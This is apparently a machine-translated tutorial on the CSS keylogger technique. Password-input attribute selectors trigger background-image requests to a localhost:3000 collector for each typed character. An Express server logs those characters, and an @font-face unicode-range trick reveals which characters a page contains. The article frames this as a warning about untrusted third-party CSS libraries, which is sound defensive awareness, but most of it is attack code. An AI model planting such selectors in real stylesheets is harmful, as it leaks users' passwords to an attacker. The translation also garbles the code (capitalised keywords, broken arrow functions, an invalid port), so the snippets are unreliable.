CSS record user password implementation code sharing

This article mainly introduces the CSS to record the user's password method of the relevant data, simple CSS code, even does not conform to Turing complete language, but also can become a tool for some attackers, the following is a brief introduction to how to use CSS to record the user's password. However, these CSS scripts appear in third-party CSS libraries, so it is also prudent to use a third-party CSS library to ensure code security. Directly on the code parsing:

input[type= "password"][value$= "0"] {     background-image:url ("http://localhost:3000/0");} input[type= "Password"][value$= "1"] {     background-image:url ("HTTP://LOCALHOST:3000/1");} input[type= "Password"][value$= "2"] {     background-image:url ("HTTP://LOCALHOST:3000/2");}

The above is part of the code, let us parse the CSS code

input[type="password"]is the CSS selector, the function is to select the Password input box, indicating that the value of the [value$="0"] matching input is ending with 0. So:

input[type= "password"][value$= "0"] {     background-image:url ("http://localhost:3000/0");}

The above code means that if you enter 0 in the Password box, the http://localhost:3000/0 interface is requested, but the browser does not store the values entered by the user in the Value property by default, but some frameworks synchronize the values, such as react.

So as long as the use of the script can be used to store the user's input data information.

Let's take a look at the server-side code:

Const EXPRESS = require ("Express"); const APP = Express (); App.get ("/:key", (req, res) = = {   Process.stdout.write ( Req.params.key);   Return Res.sendstatus (400);}); App.listen (+, () = Console.log ("Start, monitor 3000 port"));

Use Express to create a server, listen to 3000 port, as long as the request Http://localhost:3000/:key, you can output key value, you can record the input value on the server. So as long as each input value is matched, and then through the Background-image to request an already prepared interface, you can record the user's input. A similar method of documenting the user's content in CSS code @font-face {

   Font-family:blah;     Src:url (' http://localhost:3000/a ') format (' Woff ');     unicode-range:u+85;} HTML {     Font-family:blah, Sans-serif;}

You use a simple font library of CSS, as long as your page contains a, will go to request http://localhost:3000/a, so you can know that your page contains a character.